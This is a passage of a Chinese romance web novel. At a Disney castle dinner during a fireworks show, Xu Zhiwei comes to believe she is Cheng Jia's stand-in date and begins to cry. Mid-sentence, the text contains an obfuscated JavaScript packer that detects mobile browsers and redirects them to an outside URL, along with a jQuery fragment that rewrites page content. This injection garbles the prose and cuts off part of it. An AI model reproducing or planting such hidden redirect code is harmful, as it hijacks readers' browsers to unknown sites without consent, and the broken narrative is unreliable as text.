接下来的晚餐时间,在凝固的沉默中缓慢流淌。 精致的菜肴一道道呈上,摆盘宛如艺术,色泽诱人,名字也取得充满童话诗意。 可许知微的味蕾却像被糊上了一层蜡。只是机械地切割着盘中的食物,送入口中,咀嚼,吞咽,却几乎尝不出任何确切的滋味。 仿佛她吃的不是食物,而是一种名为体面的仪式材料,用以维持自己得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358699|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知真相后,这张餐桌表面最后的平静。 她的全部感官,似乎都用来接收和放大那些印证她猜疑的细节: 服务生对程迦的称呼格外熟稔,显然他不是第一次来,甚至可能是常客。 那瓶佐餐的气泡水,在她表示都可以之后,他几乎没有任何犹豫就点了一款特定的品牌。 甚至窗边这个位置,角度都计算得如此精准,连城堡上灯光变幻的每一个瞬间都能尽收眼底。 这一切都太符合她的猜想了,这一切,就像一份被完美执行的为特定对象量身定制的表白约会演练。 而她自己,就像一个坐错了位置,却不得不硬着头皮演完这场戏的替身演员。 刀叉碰撞瓷盘的轻微声响,在安静的餐桌间都显得刺耳。 就在她几乎要被这种无声的煎熬吞噬时,窗外,城堡的方向,忽然传来一声沉闷而悠远的鸣响。 紧接着,第一簇金色的光点呼啸着蹿上深紫色的夜空,在最高点“砰”然炸开,化作万千流火,绚烂地坠落。 烟花秀,开始了。 几乎是同一瞬间,她和程迦都停下了手中的动作,不约而同地转头,望向窗外。 巨大的落地玻璃仿佛成了一幅动态的的画框。流光溢彩的光束此起彼伏,将夜空涂抹成梦幻的颜色。 熟悉的迪士尼旋律透过餐厅隐约的隔音,与烟花的爆破声交织在一起,编织出一种强大到令人无法抗拒的浪漫氛围。 璀璨的光芒在她眼中明明灭灭,映亮了她脸上无法掩饰的怔然。 ——太美了。 ——美得就像是为某个神圣时刻准备的布景 一个念头,如同毒蛇,倏地钻入她已然混乱的脑海。 ——他是不是……原本计划在此时此刻,在这个完美的位置,在漫天烟花最盛大的那一刻,向他心里真正的那个人表白? ——城堡为证,烟花为幕,音乐为衬。还有比这更无可挑剔的告白场景吗? 心脏像是被一只无形的手狠狠攥紧,传来一阵闷痛。 她忽然觉得自己可笑极了。 原来,他早上在乐园门口,用那种认真到近乎笨拙的语气说出的“算,我在追你。”里的那个“算”字,是这个意思。 算=权当是。 算=将就一下。 算=正主不在,跟你这个替身,演练一遍流程也不错。 毕竟,预约都做了,钱都花了,位置空着也是浪费。 反正……她看起来也会挺配合的,不是吗? 从早茶到项目,再到换上他买的鞋,安静地坐在这里,完美地扮演了一个约会对象该有的反应。 可为什么……偏偏是她呢? 为什么在决定用她来填补这个空缺时,不能哪怕稍稍地、微微地考虑一下她的感受呢? 万一……她把这些精心设计的流程,这些昂贵的体验,这些笨拙却有效的关照,都当了真呢? 万一……她这颗自以为铜墙铁壁,被系统毁掉的男欢女爱之心,还是被这铺天盖地的浪漫表象迷惑,不受控制地、可悲地……动了心呢? 一种巨大的委屈与自我厌弃,如同窗外汹涌的烟花,在她胸腔里猛烈地炸开。 理智知道这猜疑或许偏激,情感却已溃不成军。 视线毫无预兆地模糊了。 城堡和烟花在泪水中扭曲,晕染成一片斑斓而遥远的光斑。 一滴温热的液体,毫无声息地,顺着她的脸颊倏然滑落,在下颌处汇聚,然后无声地滴落在她面前洁白的餐巾上,洇开一小点深色的痕迹。 几乎就在同一时刻。 “……你哭了?” 程迦的声音,带着一丝罕见的不确定,清晰地穿过烟花隐约的轰鸣和餐厅低徊的音乐,传入她的耳中。